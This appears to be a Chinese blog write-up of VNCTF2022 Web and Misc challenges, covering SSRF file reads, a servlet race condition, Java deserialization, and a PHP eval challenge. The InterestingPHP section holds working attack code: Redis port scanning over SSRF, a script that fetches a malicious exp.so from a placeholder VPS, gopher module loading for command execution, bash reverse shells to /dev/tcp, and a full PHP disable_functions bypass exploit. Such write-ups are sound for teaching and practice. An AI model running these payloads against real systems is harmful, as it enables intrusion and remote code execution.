VNCTF2022赛后复现

Web

GameV4.0

和往年的签到题比较类似,翻源码js/data.js。搜索flag,解base64即可。

easyJ4va

题目不是很难,但很可惜比赛的时候卡在最后一步。进入环境后查看源码,提示存在/file页面

访问,尝试加上参数?url=,考虑存在SSRF漏洞

测试/file?url=http://www.baidu.com

使用file://协议进行任意文件读取/file?url=file:///etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
tomcat:x:1000:1000::/home/tomcat:/bin/sh

fuzz一下常见目录

/etc/passwd 用户密码文件
/etc/shadow 真正的用户密码文件,但是一般没有权限读
/proc/self/environ 读取当前目录
/proc/self/cwd 代表当前路径
/var/www/html 一般的网址路径
/etc/group 用户组信息
/etc/hosts 主机网卡信息

测试可以使用/proc/self/cwd进行网站目录下的任意文件读取

下面就是读取webapps中的class文件了

/file?url=file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/entity/User.class
/file?url=file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
/file?url=file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class
/file?url=file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/util/Secr3t.class
/file?url=file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/util/SerAndDe.class
/file?url=file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/util/UrlUtil.class

下面使用反编译器对.class文件进行反编译,也可以直接用IDEA自带的反编译器。这一步建议多使用几个反编译器比较一下,不同的反编译器之间的结果可能略有不同。

下面贴出比较关键的类

//HelloWorldServlet.class
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package servlet;

import entity.User;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;

@WebServlet(
    name = "HelloServlet",
    urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
    private volatile String name = "m4n_q1u_666";
    private volatile String age = "666";
    private volatile String height = "180";
    User user;

    public HelloWorldServlet() {
    }

    public void init() throws ServletException {
        this.user = new User(this.name, this.age, this.height);
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }

        if (Secr3t.check(this.name)) {
            this.Response(resp, "no vnctf2022!");
        } else {
            if (Secr3t.check(this.name)) {
                this.Response(resp, "The Key is " + Secr3t.getKey());
            }

        }
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String key = req.getParameter("key");
        String text = req.getParameter("base64");
        if (Secr3t.getKey().equals(key) && text != null) {
            Decoder decoder = Base64.getDecoder();
            byte[] textByte = decoder.decode(text);
            User u = (User)SerAndDe.deserialize(textByte);
            if (this.user.equals(u)) {
                this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
            }
        } else {
            this.Response(resp, "KeyError");
        }

    }

    private void Response(HttpServletResponse resp, String outStr) throws IOException {
        ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}

可以看到逻辑很简单,想要获取flag,需要在/evi1页面传入key和序列化的特定User实例。我们先来分析一下如何获得key,代码部分如下

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }

        if (Secr3t.check(this.name)) {
            this.Response(resp, "no vnctf2022!");
        } else {
            if (Secr3t.check(this.name)) {
                this.Response(resp, "The Key is " + Secr3t.getKey());
            }
        }
    }

GET传入name参数,Secr3t.check()函数如下

public static boolean check(String checkStr) {
        return "vnctf2022".equals(checkStr);
    }

两个if的条件相同,如何做到不满足第一个if而满足第二个if呢?我们可以使用条件竞争的方式,参考Servlet的线程安全问题

写个脚本跑一下

import requests
import threading

class thread_key(threading.Thread):
    def __init__(self,par):
        threading.Thread.__init__(self)
        self.url="http://c78b9413-0b42-44b3-8ac7-3df25c2845dc.node4.buuoj.cn:81/evi1?name="
        self.req=self.url+par
        self.event=threading.Event()
        self.event.set()
        self.session=requests.session()

    def run(self):
        while self.event.isSet():
            r=self.session.get(self.req)
            text=r.text
            if "Key" in text:
                print(text)
                self.event.clear()

thread1=thread_key("vnctf2022")
thread2=thread_key("vnctf2021")

thread1.start()
thread2.start()

下面的工作就是传入符合条件的User类了。User类中重写了readObject方法

    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        this.height = (String)s.readObject();
    }

我们需要重写writeObject方法,不然transient类型的属性height不会被反序列化

    private void writeObject(ObjectOutputStream s) throws IOException, ClassNotFoundException{
        s.defaultWriteObject();
        s.writeObject(this.height);
    }

序列化User类,代码如下

import entity.User;
import util.SerAndDe;

import java.io.IOException;
import java.util.Base64;

public class Payload {
    public static void main(String[] args) throws IOException {
        User user = new User("m4n_q1u_666","666","180");

        byte[] bytes= SerAndDe.serialize(user);
        String base_64 = Base64.getEncoder().encodeToString(bytes);

        System.out.println(base_64);
       System.out.print((User)SerAndDe.deserialize(Base64.getDecoder().decode(base_64)));
    }
}

至于为什么类中自定义的privatereadObject()writeObject()方法可以被自动调用,这就需要你跟一下底层源码来一探究竟了,在ObjectStreamClass类的最底层,通过反射来执行private类型的方法。

同时POST传入key和base64即可获得flag

gocalc0

非预期

点击”flag在这里”,提示flag在session中,获取session

MTY0NDg0ODI5M3xEdi1CQkFFQ180SUFBUkFCRUFBQVNQLUNBQUVHYzNSeWFXNW5EQVlBQkVaTVFVY0djM1J5YVc1bkRDd0FLbVpzWVdkN01HTXdZVFE0T1RVdE1tRmlPQzAwTXpBeUxXSXpNek10TldVNU4ySmhNVEEwTldKbWZRPT18g_Vk5BDjgj-3iev6TUJMYRXF-hUUYCAPrnHlwRqIwLE=

使用base64解密,不过要删掉一部分无关字符串

再次解密其中的base64获得flag

InterestingPHP

环境给出了源码,可以通过exp参数执行任意代码。

 <?php highlight_file(__FILE__); @eval($_GET['exp']);?> 

phpinfo()和一些命令执行函数貌似被过滤了,我们可以尝试使用get_cfg_var()函数来获取PHP配置选项的值,也可以使用ini_get_all()函数来获取所有配置选项的值。

var_dump(get_cfg_var("disable_functions"));
var_dump(get_cfg_var("open_basedir"));
var_dump(ini_get_all());

这里get_cfg_var()被禁了,我们使用ini_get_all()读配置。

方法一

我们先读一下网站目录文件/?exp=print_r(scandir('.'));

.rdb为redis数据库文件,说明网站开启了Redis服务,默认端口为6379。读一下secret.rdb文件

Redis密码为ye_w4nt_a_gir1fri3nd

我们构造一个SSRF尝试访问Redis服务。

SSRF.py

import requests

url="http://f4df9e35-7eae-4e0d-a68f-a426e3659faf.node4.buuoj.cn:81/?exp=eval($_POST[0]);"

#构造SSRF,通过dict://协议爆破Redis端口
payloads='''
 function Curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);
            curl_close($ch);
            if($result!=''){
            echo $result.$url;
            }
            
        } 
        for($i=0;$i<9999;$i++){
            Curl("dict://127.0.0.1:$i/info");
            }
'''

data={0:payloads}

r=requests.post(url,data=data)
print(r.text)

Redis服务开启在8888端口。

我们知道,对于内网中的Redis服务,可以通过以下几种方式进行未授权攻击

  • 绝对路径写shell
  • 写 ssh-keygen 公钥登录服务器
  • 创建计划任务反弹shell
  • Redis主从复制getshell

由于部分攻击方式存在一些限制,我们首先来看一看主从复制getshell,原理如下

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC命令将文件同步到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。

也就是说我们是通过主从机的文件同步命令来将恶意.so文件上传到服务器的,进而加载.so文件命令执行。

别忘了我们可以执行任意PHP代码,所以我们尝试直接通过SSRF将.so恶意文件加载到服务器上,这里.so文件使用的是redis-rogue-server工具中的exp.so,将.so文件放置在vps上。

exp.py

import requests

url = "http://f4df9e35-7eae-4e0d-a68f-a426e3659faf.node4.buuoj.cn:81/?exp=eval($_POST[0]);"


payloads = '''
 function Curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);
            curl_close($ch);
            
            if(file_put_contents("exp.so",$result)){
                print("success");
            }

        } 
        Curl("http://vps-ip/exp.so");
'''.strip()

data = {0: payloads}

r = requests.post(url, data=data)
print(r.text)

成功加载.so文件

下面就是利用gopher协议将.so文件加载到redis中进行命令执行

rce.py

import requests
from urllib import parse

url = "http://f4df9e35-7eae-4e0d-a68f-a426e3659faf.node4.buuoj.cn:81/?exp=eval($_POST[0]);"

load='''auth ye_w4nt_a_gir1fri3nd
module load ./exp.so
system.exec 'whoami'
quit
'''.replace('\n','\r\n')

payloads = '''
 function Curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);
            curl_close($ch);

            if($result!=''){
                print($result);
            }

        } 
        Curl("gopher://127.0.0.1:8888/_'''+parse.quote(load)+'''");
'''.strip()

data = {0: payloads}

r = requests.post(url, data=data)
print(r.text)

用户不是root权限,无法读取flag,需要提权。先弹个shell方便操作 bash -c "bash -i >& /dev/tcp/vps-ip/8888/ 0>&1"

查找suid文件find / -user root -perm -4000 >a

/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1

发现/usr/bin/pkexec文件,可能存在最近很火的pkexec提权漏洞(CVE-2021-4034)

下载编译gcc poc.c -o poc,读取flag

方法二

既然我们能够执行任意命令,那么我们可以尝试直接写马。

虽然网站禁用了一些常见的读写函数,但我们可以使用php-filter-bypass进行绕过,这里fwrite()被禁用,手动替换为fputs()绕过。

exploit.php

<?php
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
# 
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1

pwn('bash -c "bash -i &> /dev/tcp/vps/7777 0>&1"');

function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $cmd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fputs($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fputs($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fputs($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}
?>

发送以上数据并执行

send.py

import requests
import requests_toolbelt

url="http://f6c67fd3-d96b-4f26-a20e-84edb8d97680.node4.buuoj.cn:81/?exp=eval($_POST['a']);"

with open("exp.php",'r') as f:
    data=f.read()

headers={"Content-Type":"multipart/form-data;boundary=------test"}
post_data={'a':data}
message=requests_toolbelt.MultipartEncoder(post_data,boundary='------test')
proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}

r=requests.post(url,data=message,proxies=proxies,headers=headers)

现在我们可以执行任意命令,后面的操作步骤和方法一相同。

Misc

仔细找找

放大之后可以看出图中的像素点分布,用PS

vnctf{34aE@w}

Strange flag

给了一个流量包,有很多http协议,直接导出http对象。其中,在最后一个http请求中有如下格式的tree

经查询,这是一种esolang,叫作Folders。根据规则,由于第一个子文件夹中文件数量为4,所以解释为print,字符串由 Unicode 字符组成,这里借用Mumuzi师傅的图,如下所示

二进制转十六进制得flag

vnctf{d23903879df57503879bcdf1efc141fe}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇